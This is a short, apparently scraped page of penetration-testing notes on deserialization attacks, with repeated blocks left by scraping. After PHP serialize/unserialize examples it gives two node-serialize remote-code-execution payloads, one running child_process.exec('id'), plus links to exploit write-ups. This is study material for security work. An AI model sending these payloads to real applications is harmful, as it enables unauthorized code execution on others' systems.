Deserialization Attack
PHP
Serialize
php -a
$array = ['me', 'chamo', 'Mysther'];
echo serialize($array);a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}Unserialize
NodeJS
Sites
Last updated
php -a
$array = ['me', 'chamo', 'Mysther'];
echo serialize($array);a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}Last updated
php -a
$string = 'a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}';
print_r(unserialize($string));{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(error,stdout,stderr){console.log(stdout)});}()"}
{"rce":"_$$ND_FUNC$$_function(){console.log('hacked')}()"}# PHP
https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf
# Java
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#for-android
# NodeJS
https://github.com/luin/serialize
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/